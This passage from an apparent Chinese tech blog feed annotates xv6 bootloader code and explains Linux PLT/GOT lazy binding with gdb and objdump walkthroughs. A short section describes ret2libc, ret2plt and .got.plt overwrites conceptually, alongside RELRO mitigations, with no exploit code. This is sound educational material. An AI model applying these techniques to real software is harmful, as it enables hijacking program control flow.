  movw    %ax, %ss                # -&amp;gt; SS: Stack Segment       初始化堆栈段寄存器
  movw    $0, %ax                 # Zero segments not ready for use  ax 寄存器清零
  movw    %ax, %fs                # -&amp;gt; FS                      辅助寄存器清零
  movw    %ax, %gs                # -&amp;gt; GS                      辅助寄存器清零

  # Set up the stack pointer and call into C.
  movl    $start, %esp            # 栈顶被设置为 0x7C00 处
  call    bootmain

  # If bootmain returns (it should not), trigger a Bochs
  # breakpoint if running under Bochs, then loop.
  movw    $0x8a00, %ax            # 0x8a00 -&amp;gt; port 0x8a00
  movw    %ax, %dx
  outw    %ax, %dx
  movw    $0x8ae0, %ax            # 0x8ae0 -&amp;gt; port 0x8a00
  outw    %ax, %dx
spin:
  jmp     spin

# **注意大小端**
# Bootstrap GDT
# 每个 GDT 项 8 字节
#
# |31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10| 9|8|7|6|5|4|3|2|1|0|
# |--------------------------------------------------------------------------------------|
# |        基地址         | G|DB|XX|AA|   Limit   | P| DPL | S| E|ED|RW|A|   基地址      |
# |--------------------------------------------------------------------------------------|
# |               基地址                          |          Limit                       |
# |--------------------------------------------------------------------------------------|
#
# 标记位解释：
# P：    0 本段不在内存中
# DPL：  访问该段内存所需权限等级 00 -- 11，0为最大权限级别
# S：    1 代表数据段、代码段或堆栈段，0 代表系统段如中断门或调用门
# E:     1 代表代码段，可执行标记，0 代表数据段
# ED:    0 代表忽略特权级，1 代表遵守特权级
# RW:    如果是数据段（E=0）则1 代表可写入，0 代表只读
#        如果是代码段（E=1）则1 代表可读取，0 代表不可读取
# A:     1 表示该段内存访问过，0 表示没有被访问过
# G:     1 表示 20 位段界限单位是 4KB，最大长度 4GB，
#        0 表示 20 位段界限单位是 1 字节，最大长度 1MB
# DB:    1 表示地址和操作数是 32 位，0 表示地址和操作数是 16 位
# XX:    保留位永远是 0
# AA:    给系统提供的保留位
#
# |31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10| 9|8|7|6|5|4|3|2|1|0|
# |--------------------------------------------------------------------------------------|
# |        基地址         | G|DB|XX|AA|   Limit   | P| DPL | S| E|ED|RW|A|   基地址      |
# |--------------------------------------------------------------------------------------|
# |               基地址                          |          Limit                       |
# |--------------------------------------------------------------------------------------|
#
# 一共 3 个 GDT 项
# 第一个 GDT 项目置空不用
# 第二个 GDT 为代码段，可执行，只读（写好的程序指令是不允许更改的)
# 第三个 GDT 为数据段，可读，可写，不可执行
# 采用平坦内存布局，每个分段均从地址 0x0 开始到 0xffffffff 结束，涵盖整个 4GB 内存寻址空间
# SEG_ASM 宏在 asm.h 中，下面翻译一下最后两个 GDT 项目的数据值
# 代码段 GDT 的布局：
#   0xffff,0x0000,0x00,0x9a,0xcf,0x00
#
# |31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10|9|8|7|6|5|4|3|2|1|0|
# |-------------------------------------------------------------------------------------|
# |         0x00          | 1| 1| 0| 0|     f     | 1|0   0| 1| 1  0 1 0|     0x00      |
# |-------------------------------------------------------------------------------------|
# |               0x0000                          |          0xffff                     |
# |-------------------------------------------------------------------------------------|
#
# 数据段 GDT 的布局：
#   0xffff,0x0000,0x00,0x92,0xcf,0x00
#
# |31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10|9|8|7|6|5|4|3|2|1|0|
# |-------------------------------------------------------------------------------------|
# |         0x00          | 1| 1| 0| 0|     f     | 1|0   0| 1| 0  0 1 0|     0x00      |
# |-------------------------------------------------------------------------------------|
# |               0x0000                          |          0xffff                     |
# |-------------------------------------------------------------------------------------|
#
.p2align 2                                # force 4 byte alignment
gdt:
  SEG_NULLASM                             # null seg
  SEG_ASM(STA_X|STA_R, 0x0, 0xffffffff)   # code seg
  SEG_ASM(STA_W, 0x0, 0xffffffff)         # data seg

gdtdesc:
  .word   (gdtdesc - gdt - 1)             # 16 位的 gdt 大小sizeof(gdt) - 1
  .long   gdt                             # 32 位的 gdt 所在物理地址

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; Boot loader.
&amp;#x2F;&amp;#x2F; 
&amp;#x2F;&amp;#x2F; Part of the boot sector, along with bootasm.S, which calls bootmain().
&amp;#x2F;&amp;#x2F; bootasm.S has put the processor into protected 32-bit mode.
&amp;#x2F;&amp;#x2F; bootmain() loads an ELF kernel image from the disk starting at
&amp;#x2F;&amp;#x2F; sector 1 and then jumps to the kernel entry routine.

#include &amp;quot;types.h&amp;quot;
#include &amp;quot;elf.h&amp;quot;
#include &amp;quot;x86.h&amp;quot;
#include &amp;quot;memlayout.h&amp;quot;

#define SECTSIZE  512  &amp;#x2F;&amp;#x2F; 硬盘扇区大小 512 字节

void readseg(uchar*, uint, uint);

void
bootmain(void)
{
  struct elfhdr *elf;
  struct proghdr *ph, *eph;
  void (*entry)(void);
  uchar* pa;

  elf = (struct elfhdr*)0x10000;  &amp;#x2F;&amp;#x2F; 从 0xa0000 到 0xfffff 的物理地址范围属于设备空间，所以内核放置在 0x10000 处开始

  &amp;#x2F;&amp;#x2F; 从内核所在硬盘位置读取一内存页 4kb 数据
  readseg((uchar*)elf, 4096, 0);

  &amp;#x2F;&amp;#x2F; 判断是否为 ELF 文件格式
  if(elf-&amp;gt;magic != ELF_MAGIC)
    return;  &amp;#x2F;&amp;#x2F; let bootasm.S handle error

  &amp;#x2F;&amp;#x2F; 加载 ELF 文件中的程序段 (ignores ph flags).
  &amp;#x2F;&amp;#x2F; 找到内核 ELF 文件的程序头表
  ph = (struct proghdr*)((uchar*)elf + elf-&amp;gt;phoff);
  &amp;#x2F;&amp;#x2F; 内核 ELF 文件程序头表的结束位置
  eph = ph + elf-&amp;gt;phnum;
  &amp;#x2F;&amp;#x2F; 开始将内核 ELF 文件程序头表载入内存
  for(; ph &amp;lt; eph; ph++){
    pa = (uchar*)ph-&amp;gt;paddr;
    readseg(pa, ph-&amp;gt;filesz, ph-&amp;gt;off);
    &amp;#x2F;&amp;#x2F; 如果内存大小大于文件大小，用 0 补齐内存空位
    if(ph-&amp;gt;memsz &amp;gt; ph-&amp;gt;filesz)
      stosb(pa + ph-&amp;gt;filesz, 0, ph-&amp;gt;memsz - ph-&amp;gt;filesz);
  }

  &amp;#x2F;&amp;#x2F; Call the entry point from the ELF header.
  &amp;#x2F;&amp;#x2F; Does not return!
  &amp;#x2F;&amp;#x2F; 从内核 ELF 文件入口点开始执行内核
  entry = (void(*)(void))(elf-&amp;gt;entry);
  entry();
}

void
waitdisk(void)
{
  &amp;#x2F;&amp;#x2F; Wait for disk ready.
  &amp;#x2F;&amp;#x2F; xxxxxxxx &amp;amp; 11000000 != 01000000
  &amp;#x2F;&amp;#x2F; 0x1F7 状态位
  &amp;#x2F;&amp;#x2F;     bit 7 = 1  控制器忙
  &amp;#x2F;&amp;#x2F;     bit 6 = 1  驱动器就绪
  &amp;#x2F;&amp;#x2F;     bit 5 = 1  设备错误
  &amp;#x2F;&amp;#x2F;     bit 4        N&amp;#x2F;A
  &amp;#x2F;&amp;#x2F;     bit 3 = 1  扇区缓冲区错误
  &amp;#x2F;&amp;#x2F;     bit 2 = 1  磁盘已被读校验
  &amp;#x2F;&amp;#x2F;     bit 1        N&amp;#x2F;A
  &amp;#x2F;&amp;#x2F;     bit 0 = 1  上一次命令执行失败
  while((inb(0x1F7) &amp;amp; 0xC0) != 0x40)
    ;
}

&amp;#x2F;&amp;#x2F; Read a single sector at offset into dst.
&amp;#x2F;&amp;#x2F; 这里使用的是 LBA 磁盘寻址模式
&amp;#x2F;&amp;#x2F; LBA是非常单纯的一种寻址模式﹔从0开始编号来定位区块，
&amp;#x2F;&amp;#x2F; 第一区块LBA=0，第二区块LBA=1，依此类推
void
readsect(void *dst, uint offset)      &amp;#x2F;&amp;#x2F; 0x10000, 1
{
  &amp;#x2F;&amp;#x2F; Issue command.
  waitdisk();
  outb(0x1F2, 1);                     &amp;#x2F;&amp;#x2F; 要读取的扇区数量 count = 1
  outb(0x1F3, offset);                &amp;#x2F;&amp;#x2F; 扇区 LBA 地址的 0-7 位
  outb(0x1F4, offset &amp;gt;&amp;gt; 8);           &amp;#x2F;&amp;#x2F; 扇区 LBA 地址的 8-15 位
  outb(0x1F5, offset &amp;gt;&amp;gt; 16);          &amp;#x2F;&amp;#x2F; 扇区 LBA 地址的 16-23 位
  outb(0x1F6, (offset &amp;gt;&amp;gt; 24) | 0xE0); &amp;#x2F;&amp;#x2F; offset | 11100000 保证高三位恒为 1
                                      &amp;#x2F;&amp;#x2F;         第7位     恒为1
                                      &amp;#x2F;&amp;#x2F;         第6位     LBA模式的开关，置1为LBA模式
                                      &amp;#x2F;&amp;#x2F;         第5位     恒为1
                                      &amp;#x2F;&amp;#x2F;         第4位     为0代表主硬盘、为1代表从硬盘
                                      &amp;#x2F;&amp;#x2F;         第3~0位   扇区 LBA 地址的 24-27 位
  outb(0x1F7, 0x20);                  &amp;#x2F;&amp;#x2F; 20h为读，30h为写

  &amp;#x2F;&amp;#x2F; Read data.
  waitdisk();
  insl(0x1F0, dst, SECTSIZE&amp;#x2F;4);
}

&amp;#x2F;&amp;#x2F; Read &amp;#x27;count&amp;#x27; bytes at &amp;#x27;offset&amp;#x27; from kernel into physical address &amp;#x27;pa&amp;#x27;.
&amp;#x2F;&amp;#x2F; Might copy more than asked.
void
readseg(uchar* pa, uint count, uint offset)  &amp;#x2F;&amp;#x2F; 0x10000, 4096(0x1000), 0
{
  uchar* epa;

  epa = pa + count;  &amp;#x2F;&amp;#x2F; 0x11000

  &amp;#x2F;&amp;#x2F; 根据扇区大小 512 字节做对齐
  pa -= offset % SECTSIZE;

  &amp;#x2F;&amp;#x2F; bootblock 引导区在第一扇区（下标为 0），内核在第二个扇区（下标为 1）
  &amp;#x2F;&amp;#x2F; 这里做 +1 操作是统一略过引导区
  offset = (offset &amp;#x2F; SECTSIZE) + 1;

  &amp;#x2F;&amp;#x2F; If this is too slow, we could read lots of sectors at a time.
  &amp;#x2F;&amp;#x2F; We&amp;#x27;d write more to memory than asked, but it doesn&amp;#x27;t matter --
  &amp;#x2F;&amp;#x2F; we load in increasing order.
  &amp;#x2F;&amp;#x2F; 一次读取一个扇区 512 字节的数据
  for(; pa &amp;lt; epa; pa += SECTSIZE, offset++)
    readsect(pa, offset);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;footprint&quot;&gt;footprint&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;pdos.csail.mit.edu&#x2F;6.828&#x2F;2018&#x2F;labguide.html#debug-kernel
http:&#x2F;&#x2F;www.luxu.info&#x2F;2017&#x2F;11&#x2F;22&#x2F;xv6%E4%BB%A3%E7%A0%81%E5%AD%A6%E4%B9%A03&#x2F;
http:&#x2F;&#x2F;leenjewel.github.io&#x2F;blog&#x2F;2014&#x2F;07&#x2F;29&#x2F;%5B%28xue-xi-xv6%29%5D-cong-shi-mo-shi-dao-bao-hu-mo-shi&#x2F;
https:&#x2F;&#x2F;github.com&#x2F;leenjewel&#x2F;xv6_learn&#x2F;blob&#x2F;learn&#x2F;bootasm.S
https:&#x2F;&#x2F;github.com&#x2F;leenjewel&#x2F;xv6_learn&#x2F;blob&#x2F;learn&#x2F;elf.h&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux动态链接中的PLT和GOT</title>
        <published>2022-10-12T08:52:09+08:00</published>
        <updated>2022-10-12T08:52:09+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/10/Linux动态链接中的PLT和GOT/"/>
        <id>https://vercel.juzhong.asia/2022/10/Linux动态链接中的PLT和GOT/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/10/Linux动态链接中的PLT和GOT/">&lt;h1 id=&quot;linuxdong-tai-lian-jie-zhong-de-plthe-got&quot;&gt;Linux动态链接中的PLT和GOT&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;plt-got&quot;&gt;PLT &amp;amp; GOT&lt;&#x2F;h1&gt;
&lt;p&gt;首先, 我们要知道, GOT和PLT只是一种重定向的实现方式. 所以为了理解他们的作用,
就要先知道什么是重定向, 以及我们为什么需要重定向.&lt;&#x2F;p&gt;
&lt;p&gt;重定向(relocations), 简单来说就是二进制文件中留下的&quot;坑&quot;, 预留给外部变量或函数.
这里的变量和函数统称为符号(symbols). 在编译期我们通常只知道外部符号的类型
(变量类型和函数原型), 而不需要知道具体的值(变量值和函数实现). 而这些预留的&quot;坑&quot;,
会在用到之前(链接期间或者运行期间)填上. 在链接期间填上主要通过工具链中的连接器,
比如GNU链接器ld; 在运行期间填上则通过动态连接器, 或者说解释器(interpreter)来实现.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;gt; symbol.c &amp;lt;&amp;lt; EOF
int my_var = 42;
int my_func(int a, int b) {
    return a + b;
}
EOF

gcc -g -m32 -masm=intel -shared -fPIC symbol.c -o libsymbol.so

cat &amp;gt; main.c &amp;lt;&amp;lt; EOF
int var = 10;
extern int my_var;
extern int my_func(int, int);

int main() {
    int a, b;
    a = var;
    b = my_var;
    return my_func(a, b);
}
EOF

# 位置相关
gcc -g -m32 -masm=intel -L. -lsymbol -no-pie -fno-pic main.c libsymbol.so -o main
# 位置无关
gcc -g -m32 -masm=intel -L. -lsymbol main.c libsymbol.so -o main_pi

readelf -S .&amp;#x2F;main

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;dong-tai-lian-jie&quot;&gt;动态链接&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;objdump -d main_pi | grep &amp;quot;&amp;lt;main&amp;gt;&amp;quot; -A 20
00000660 &amp;lt;main&amp;gt;:
 660:	8d 4c 24 04          	lea    ecx,[esp+0x4]
 664:	83 e4 f0             	and    esp,0xfffffff0
 667:	ff 71 fc             	push   DWORD PTR [ecx-0x4]
 66a:	55                   	push   ebp
 66b:	89 e5                	mov    ebp,esp
 66d:	53                   	push   ebx
 66e:	51                   	push   ecx
 66f:	83 ec 10             	sub    esp,0x10
 672:	e8 36 00 00 00       	call   6ad &amp;lt;__x86.get_pc_thunk.ax&amp;gt;
 677:	05 89 19 00 00       	add    eax,0x1989
 67c:	8b 90 1c 00 00 00    	mov    edx,DWORD PTR [eax+0x1c]
 682:	89 55 f4             	mov    DWORD PTR [ebp-0xc],edx
 685:	8b 90 f0 ff ff ff    	mov    edx,DWORD PTR [eax-0x10]
 68b:	8b 12                	mov    edx,DWORD PTR [edx]
 68d:	89 55 f0             	mov    DWORD PTR [ebp-0x10],edx
 690:	83 ec 08             	sub    esp,0x8
 693:	ff 75 f0             	push   DWORD PTR [ebp-0x10]
 696:	ff 75 f4             	push   DWORD PTR [ebp-0xc]
 699:	89 c3                	mov    ebx,eax
 69b:	e8 20 fe ff ff       	call   4c0 &amp;lt;my_func@plt&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;位置无关代码, PIC寄存器为.got.plt的地址, 然后按偏移量
来获取变量. 上面只看了eax+0x1c即从.data段获取的内容(var), 还有一个参数是通过
eax-0x10即.got段之中获取的my_var. 后者是在symbol.c中定义的, 所以其内容在编译期
未知. 如果是静态链接, 则可以在链接时解析符号的值. 我们这里主要考虑动态链接的情况.&lt;&#x2F;p&gt;
&lt;p&gt;上面说了很多.got, .plt, 那么这些section到底是做什么用的呢. 其实这些都是
链接器(或解释器, 下面统称为链接器)在执行重定向时会用到的部分, 先来看他们的定义.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;got&quot;&gt;.got&lt;&#x2F;h3&gt;
&lt;p&gt;这是我们常说的GOT, 即Global Offset Table, 全局偏移表. 这是链接器在执行链接时
实际上要填充的部分, 保存了所有外部符号的地址信息.
不过值得注意的是, 在i386架构下, 除了每个函数占用一个GOT表项外，GOT表项还保留了
3个公共表项, 每项32位(4字节), 保存在前三个位置, 分别是:&lt;&#x2F;p&gt;
&lt;p&gt;got[0]: 本ELF动态段(.dynamic段)的装载地址
got1: 本ELF的link_map数据结构描述符地址
got2: _dl_runtime_resolve函数的地址
其中, link_map数据结构的定义如下:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct link_map
{
   &amp;#x2F;* Shared library&amp;#x27;s load address. *&amp;#x2F;
   ElfW(Addr) l_addr;                 
   &amp;#x2F;* Pointer to library&amp;#x27;s name in the string table. *&amp;#x2F;                                 
   char *l_name;    
   &amp;#x2F;* 
        Dynamic section of the shared object.
        Includes dynamic linking info etc.
        Not interesting to us.  
   *&amp;#x2F;                   
   ElfW(Dyn) *l_ld;   
   &amp;#x2F;* Pointer to previous and next link_map node. *&amp;#x2F;                 
   struct link_map *l_next, *l_prev;   
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;plt&quot;&gt;.plt&lt;&#x2F;h3&gt;
&lt;p&gt;这也是我们常说的PLT, 即Procedure Linkage Table, 进程链接表. 这个表里包含了一些代码,
用来(1)调用链接器来解析某个外部函数的地址, 并填充到.got.plt中, 然后跳转到该函数; 或者
(2)直接在.got.plt中查找并跳转到对应外部函数(如果已经填充过).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;got-plt&quot;&gt;.got.plt&lt;&#x2F;h3&gt;
&lt;p&gt;.got.plt相当于.plt的GOT全局偏移表, 其内容有两种情况, 1)如果在之前查找过该符号,
内容为外部函数的具体地址. 2)如果没查找过, 则内容为跳转回.plt的代码, 并执行查找.
至于为什么要这么绕, 后面会说明具体原因.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;plt-got-1&quot;&gt;.plt.got&lt;&#x2F;h3&gt;
&lt;p&gt;不知道具体作用&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-kan-xu-yao-zhong-ding-xiang-de-fu-hao&quot;&gt;查看需要重定向的符号&lt;&#x2F;h3&gt;
&lt;p&gt;对于我们将要研究的main程序, 这些段的地址如下:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;readelf -S main | egrep  &amp;#x27;.plt|.got&amp;#x27;
readelf --relocs .&amp;#x2F;main
readelf -S main | grep 0804a020 -B 2
(gdb) x&amp;#x2F;dw 0x0804a020
(gdb) set environment LD_LIBRARY_PATH=.
(gdb) watch -l *0x804a020
(gdb) run
Starting program: &amp;#x2F;home&amp;#x2F;pan&amp;#x2F;project&amp;#x2F;cFile&amp;#x2F;shared_library&amp;#x2F;plt&amp;#x2F;main 
Hardware watchpoint 1: -location *0x804a020
Old value = 0
New value = 42
0xf7ff2e08 in ?? () from &amp;#x2F;lib&amp;#x2F;ld-linux.so.2

(gdb) x&amp;#x2F;xd 0x804a020
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以, 确实是链接器&#x2F;lib&#x2F;ld-linux.so.2负责填充了该变量的内容.
而且是在程序运行之前就完成了符号解析.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;han-shu&quot;&gt;函数&lt;&#x2F;h3&gt;
&lt;p&gt;接下来看看外部函数符号. 外部函数的内容(指令)也是像变量一样在
程序运行之前完成填充的吗? 其实这理论上是可以的, 事实上稍有不同.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disassemble  main
Dump of assembler code for function main:
   0x080484db &amp;lt;+0&amp;gt;:	lea    ecx,[esp+0x4]
   0x080484df &amp;lt;+4&amp;gt;:	and    esp,0xfffffff0
   0x080484e2 &amp;lt;+7&amp;gt;:	push   DWORD PTR [ecx-0x4]
   0x080484e5 &amp;lt;+10&amp;gt;:	push   ebp
   0x080484e6 &amp;lt;+11&amp;gt;:	mov    ebp,esp
   0x080484e8 &amp;lt;+13&amp;gt;:	push   ecx
   0x080484e9 &amp;lt;+14&amp;gt;:	sub    esp,0x14
   0x080484ec &amp;lt;+17&amp;gt;:	mov    eax,ds:0x804a01c
   0x080484f1 &amp;lt;+22&amp;gt;:	mov    DWORD PTR [ebp-0xc],eax
   0x080484f4 &amp;lt;+25&amp;gt;:	mov    eax,ds:0x804a020
   0x080484f9 &amp;lt;+30&amp;gt;:	mov    DWORD PTR [ebp-0x10],eax
   0x080484fc &amp;lt;+33&amp;gt;:	sub    esp,0x8
   0x080484ff &amp;lt;+36&amp;gt;:	push   DWORD PTR [ebp-0x10]
   0x08048502 &amp;lt;+39&amp;gt;:	push   DWORD PTR [ebp-0xc]
   0x08048505 &amp;lt;+42&amp;gt;:	call   0x80483b0 &amp;lt;my_func@plt&amp;gt;

调用的地址是0x80483b0, 在.plt段中, 之前说了PLT的定义, 现在具体看看里面的内容:

(gdb) disassemble 0x80483b0
Dump of assembler code for function my_func@plt:
   0x080483b0 &amp;lt;+0&amp;gt;:	jmp    DWORD PTR ds:0x804a00c
   0x080483b6 &amp;lt;+6&amp;gt;:	push   0x0
   0x080483bb &amp;lt;+11&amp;gt;:	jmp    0x80483a0
End of assembler dump.

首先是跳转到*0x804a00c, 该地址在.got.plt之中, 之前说了, .got.plt相当于
.plt的GOT, 而GOT本身相当于一个数组, 看看该&amp;quot;数组&amp;quot;的内容:

(gdb) x&amp;#x2F;4xw 0x804a00c
0x804a00c:	0x080483b6	0x080483c6	0x00000000	0x00000000

所以, 0x080483b0这里的跳转, 相当于跳转到0x080483b6, 即下一条指令!
这个多余的跳转先打个问号, 把流程走完再说. 接着, 跳转到了0x80483a0,
这个地址, 是.plt的起始地址, 这里的指令如下:


(gdb) x&amp;#x2F;2i 0x080483a0
   0x80483a0:	push   DWORD PTR ds:0x804a004
   0x80483a6:	jmp    DWORD PTR ds:0x804a008

跳转到了0x804a008, 在前面我们知道0x804a000是.got.plt的地址,
而在上一节的定义中, 也知道了.got表前三项的作用, 0x804a008
正好是第三项got2, 即_dl_runtime_resolve函数的地址. 0x804a004
则是调用该函数的参数, 且值为got1, 即本ELF的link_map的地址.
如下, 在进程未启动前, got1和got2都为0, 在启动时由链接器装填:

(gdb) x&amp;#x2F;4xw 0x804a000
0x804a000:	0x08049f0c	0x00000000	0x00000000	0x080483b6

因此, 实际上(第一次)调用my_func@plt就相当于调用了
_dl_runtime_resolve((link_map *)m, 0)! 其中link_map提供了运行时的必要信息,
而0则是my_func函数的偏移(在my_func@plt中push 0x0).
该函数定义在glibc&amp;#x2F;sysdeps&amp;#x2F;i386&amp;#x2F;dl-trampoline.S中, 关键代码如下:

_dl_runtime_resolve:
        cfi_adjust_cfa_offset (8)
        pushl %eax                # Preserve registers otherwise clobbered.
        cfi_adjust_cfa_offset (4)
        pushl %ecx
        cfi_adjust_cfa_offset (4)
        pushl %edx
        cfi_adjust_cfa_offset (4)
        movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note
        movl 12(%esp), %eax        # that `fixup&amp;#x27; takes its parameters in regs.
        call _dl_fixup                # Call resolver.
        popl %edx                # Get register content back.
        cfi_adjust_cfa_offset (-4)
        movl (%esp), %ecx
        movl %eax, (%esp)        # Store the function address.
        movl 4(%esp), %eax
        ret $12                        # Jump to function address.

从注释里也可以看出来, 该函数实际上做了两件事:

1)解析出my_func的地址并将值填入.got.plt中.
2)跳转执行真正的my_func函数.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dong-tai-fen-xi&quot;&gt;动态分析&lt;&#x2F;h3&gt;
&lt;p&gt;上面虽然用了gdb, 但程序并未运行, 只是分析静态的汇编代码, 为了验证上面的说法,
我们需要进行动态分析. 接着上面的分析, 我们这次在调用_dl_runtime_resolve
前打上断点. 还记得之前在my_func@plt中一次多余的跳转吗? 当时打了个问号,
现在就来解答这个疑问. 在0x804a00c处打上观察点并运行:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) b *0x80483a6
(gdb) watch -l *0x804a00c
(gdb) run
Breakpoint 1, 0x080483a6 in ?? ()
(gdb) x&amp;#x2F;xw 0x804a00c
0x804a00c:	0x080483b6
(gdb) continue
Hardware watchpoint 1: -location *0x804a00c

Old value = 0x80483b6
New value = 0xf7fcf4f0
0xf7fe8113 in ?? () from &amp;#x2F;lib&amp;#x2F;ld-linux.so.2
(gdb) disassemble 0xf7fcf4f0
Dump of assembler code for function my_func:
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到, 在_dl_runtime_resolve之前, 0x804a00c地址的值为0x080483b6,
即下一条指令. 而运行之后, 该地址的值变为0xf7fcf4f0, 正是my_func的加载地址!
也就是说, my_func函数的地址是在第一次调用时, 才通过连接器动态解析并加载到
.got.plt中的. 而这个过程, 也称之为延时加载或者惰性加载.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yan-shi-jia-zai&quot;&gt;延时加载&lt;&#x2F;h3&gt;
&lt;p&gt;延时加载的好处是, 只有当外部函数被调用了才会去进行动态加载, 降低程序的启动时间.
而第一次加载之后, 对于后续的调用就可以直接跳转而不需要再去加载.
这样一方面减少了进程的启动开销, 另一方面也不会造成太多额外的运行时开销,
所以延时加载在当今也是广泛应用的一个思想. 对于位置无关的代码,
延时加载的过程也是类似的, 并没有太大区别.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiang-guan-gong-ji&quot;&gt;相关攻击&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ret2libc&quot;&gt;ret2libc&lt;&#x2F;h4&gt;
&lt;p&gt;ret2libc的使用场景是当栈不可执行时,
直接跳转到libc.so某个函数的地址, 比如system(), 来获得shell.
不过前提是要知道libc.so在运行时的加载地址. 如果没启用ASLR, 这个地址是固定的.
启用ASLR之后就会有个随机的偏移&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ret2plt&quot;&gt;ret2plt&lt;&#x2F;h4&gt;
&lt;p&gt;但是, 虽然ASLR随机化了上面的几个地址, 在位置相关代码的情况下, PLT的地址还是确定的!
所以如果没有启用位置无关代码的话, 即使启用了ASLR, 我们还是可以通过PLT来跳转到libc
中的函数执行, 这种攻击方法就叫ret2plt.&lt;&#x2F;p&gt;
&lt;p&gt;除此之外, 因为.got.plt是有写入权限的, 攻击者还可以通过代码中的内存破坏漏洞对
.got.plt段进行覆盖, 从而间接控制代码的执行流程&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gong-ji-huan-jie&quot;&gt;攻击缓解&lt;&#x2F;h4&gt;
&lt;p&gt;ret2plt这么屌, 就没人管管吗? 当然有! 一个最简单的办法就是启用位置无关代码,
不过就算可执行程序的代码是位置无关的, 链接器还是有可能将其加载到老地方.
一个更正确的缓解措施是RELRO即relocations read-only.
RELRO是链接器的一个选项, 可以通过man ld来查看. 主要作用就是令重定向只读.
有两个RELRO的等级, 部分RELRO和完全RELRO.&lt;&#x2F;p&gt;
&lt;p&gt;部分RELRO(由ld -z relro启用):&lt;&#x2F;p&gt;
&lt;p&gt;将.got段映射为只读(但.got.plt还是可以写)
重新排列各个段来减少全局变量溢出导致覆盖代码段的可能性.
完全RELRO(由ld -z relro -z now启用)&lt;&#x2F;p&gt;
&lt;p&gt;执行部分RELRO的所有操作.
让链接器在链接期间(执行程序之前)解析所有的符号, 然后去除.got的写权限.
将.got.plt合并到.got段中, 所以.got.plt将不复存在.
因此可以看到, 只有完全RELRO才能防止攻击者覆盖.got.plt, 因为在链接期间
就对程序符号进行了解析. 当然同时也放弃了延时绑定所带来的好处.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ld -z relro
ld -z relro -z now
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-yong-guo-cheng&quot;&gt;调用过程&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;Linux%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E4%B8%AD%E7%9A%84PLT%E5%92%8CGOT&#x2F;image-20231225112758-s0wqzod.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;br &#x2F;&gt;
PLT表结构有以下特点：&lt;br &#x2F;&gt;
PLT表中的第一项为公共表项，剩下的是每个动态库函数为一项（当然每项是由多条指令组成的，jmp *0xXXXXXXXX这条指令是所有plt的开始指令）&lt;br &#x2F;&gt;
每项PLT都从对应的GOT表项中读取目标函数地址&lt;&#x2F;p&gt;
&lt;p&gt;GOT表结构有以下特点：
GOT表中前3个为特殊项，分别用于保存 .dynamic段地址、本镜像的link_map数据结构地址和_dl_runtime_resolve函数地址；
但在编译时，无法获取知道link_map地址和_dl_runtime_resolve函数地址，所以编译时填零地址，进程启动时由动态链接器进行填充
3个特殊项后面依次是每个动态库函数的GOT表项&lt;&#x2F;p&gt;
&lt;p&gt;如果将PLT和GOT抽象起来描述，可以写成以下的伪代码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;plt[0]:
  pushl got[1]
  jmp  *got[2]
 
plt[n]:                &amp;#x2F;&amp;#x2F; n &amp;gt;= 1
  jmp *got[n+2]        &amp;#x2F;&amp;#x2F; GOT前3项为公共项，第3项开始才是函数项，plt[1]对应的GOT[3]，依次类推
  push (n-1)*8
  jmp plt[0]
 
got[0]  = address of .dynamic section
got[1]  = address of link_map object( 编译时填充0）
got[2]  = address of _dl_runtime_resolve function (编译时填充为0)
got[n+2]  = plt[n] + 6 (即plt[n]代码片段的第二条指令）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;readelf -d test
 
Dynamic section at offset 0x600 contains 24 entries:
  Tag        Type                         Name&amp;#x2F;Value
